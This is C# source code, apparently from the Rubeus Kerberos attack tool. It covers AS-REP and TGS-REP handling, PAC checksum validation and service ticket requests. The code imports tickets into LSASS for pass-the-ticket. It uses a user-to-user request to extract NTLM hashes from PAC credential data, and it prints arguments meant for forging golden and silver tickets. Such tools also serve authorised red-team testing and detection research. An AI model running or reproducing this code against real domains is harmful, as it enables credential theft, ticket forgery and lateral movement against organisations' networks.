public bool ValidateTicketChecksum(byte[] krbKey) { SignatureData ticketSig = null; // find the PAC the old TicketChecksum foreach (var tmpadData in authorization_data) { foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { foreach (var PacInfoBuffer in win2k_pac.Pac.PacInfoBuffers) { if (PacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) { ticketSig = (SignatureData)PacInfoBuffer; } } } } } if (ticketSig == null) { return(false); } byte[] calculatedSig = CalculateTicketChecksum(krbKey, ticketSig.SignatureType); return(Helpers.ByteArrayToString(calculatedSig) == Helpers.ByteArrayToString(ticketSig.Signature)); }
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") { // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); } if (getCredentials) { Console.WriteLine("[*] Getting credentials using U2U\r\n"); byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes); if (u2uResponse == null) { return(null); } AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); // check the response value int responseTag = u2uResponseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { // parse the response to an TGS-REP and get the PAC TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); PACTYPE pt = u2uEncTicketPart.GetPac(key); // look for the credential information and print foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is PacCredentialInfo ci) { Console.WriteLine(" CredentialInfo :"); Console.WriteLine(" Version : {0}", ci.Version); Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); if (ci.CredentialInfo.HasValue) { Console.WriteLine(" CredentialData :"); Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); foreach (var credData in ci.CredentialInfo.Value.Credentials) { string hash = ""; if ("NTLM".Equals(credData.PackageName.ToString())) { int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); if (flags == 3) { hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } else { hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } } else { hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); } Console.WriteLine(" {0} : {1}", credData.PackageName, hash); } } else { Console.WriteLine(" CredentialData : *** NO KEY ***"); } } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } return(kirbiBytes); }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } if (!String.IsNullOrEmpty(service)) { Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } else if (u2u) { Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName); } else { Console.WriteLine("[*] Building TGS-REQ request"); } } // if /service is empty get name from the supplied /tgs if (u2u && tgs != null && String.IsNullOrEmpty(service)) { service = tgs.enc_part.ticket_info[0].pname.name_string[0]; } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0)) { byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true); byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes); } // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = rep.crealm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (String.IsNullOrEmpty(servicekey) && u2u) { servicekey = Helpers.ByteArrayToString(clientKey); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey)); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (!String.IsNullOrEmpty(servicekey) && printargs) { var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null); PACTYPE pt = decryptedEncTicket.GetPac(null); if (pt == null) { Console.WriteLine("[X] Unable to get the PAC"); return(kirbiBytes); } string outArgs = String.Empty; foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is LogonInfo li) { outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName); if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString())) { outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString())) { outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString())) { outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString())) { outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString())) { outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive); } if (li.KerbValidationInfo.GroupCount > 0) { outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.SidCount > 0) { outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.ResourceGroupCount > 0) { outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } try { outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); } catch { } DateTime?passLastSet = null; try { passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)); } catch { } if (passLastSet != null) { outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime()); DateTime?passCanSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)); } catch { } if (passCanSet != null) { outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days); } DateTime?passMustSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)); } catch { } if (passMustSet != null) { outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days); } } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString())) { outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm); } if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) { outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", "")); } } } Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs); } return(kirbiBytes); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public Tuple <bool, bool, bool> ValidatePac(byte[] serviceKey, byte[] krbKey = null) { byte[] pacBytes = null; if (authorization_data != null) { foreach (var addata in authorization_data) { foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { pacBytes = win2k_pac.ad_data; } } } } if (pacBytes == null) { return(null); } BinaryReader br = new BinaryReader(new MemoryStream(pacBytes)); int cBuffers = br.ReadInt32(); int Version = br.ReadInt32(); long offset = 0, svrOffset = 0, kdcOffset = 0; Interop.KERB_CHECKSUM_ALGORITHM svrSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; Interop.KERB_CHECKSUM_ALGORITHM kdcSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; int svrLength = 12, kdcLength = 12; byte[] oldSvrSig = null, oldKdcSig = null; for (int idx = 0; idx < cBuffers; ++idx) { var type = (PacInfoBufferType)br.ReadInt32(); var bufferSize = br.ReadInt32(); offset = br.ReadInt64(); long oldPostion = br.BaseStream.Position; br.BaseStream.Position = offset; var pacData = br.ReadBytes(bufferSize); br.BaseStream.Position = oldPostion; BinaryReader brPacData = new BinaryReader(new MemoryStream(pacData)); switch (type) { case PacInfoBufferType.KDCChecksum: kdcOffset = offset + 4; kdcSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); if (kdcSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) { kdcLength = 16; } oldKdcSig = brPacData.ReadBytes(kdcLength); break; case PacInfoBufferType.ServerChecksum: svrOffset = offset + 4; svrSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); if (svrSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) { svrLength = 16; } oldSvrSig = brPacData.ReadBytes(svrLength); break; } } byte[] svrZeros = new byte[svrLength], kdcZeros = new byte[kdcLength]; Array.Clear(svrZeros, 0, svrLength); Array.Clear(kdcZeros, 0, kdcLength); Array.Copy(svrZeros, 0, pacBytes, svrOffset, svrLength); Array.Copy(kdcZeros, 0, pacBytes, kdcOffset, kdcLength); byte[] svrSig = Crypto.KerberosChecksum(serviceKey, pacBytes, svrSigType); if (krbKey == null) { return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), false, false)); } byte[] kdcSig = Crypto.KerberosChecksum(krbKey, oldSvrSig, kdcSigType); return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), (Helpers.ByteArrayToString(oldKdcSig) == Helpers.ByteArrayToString(kdcSig)), ValidateTicketChecksum(krbKey))); }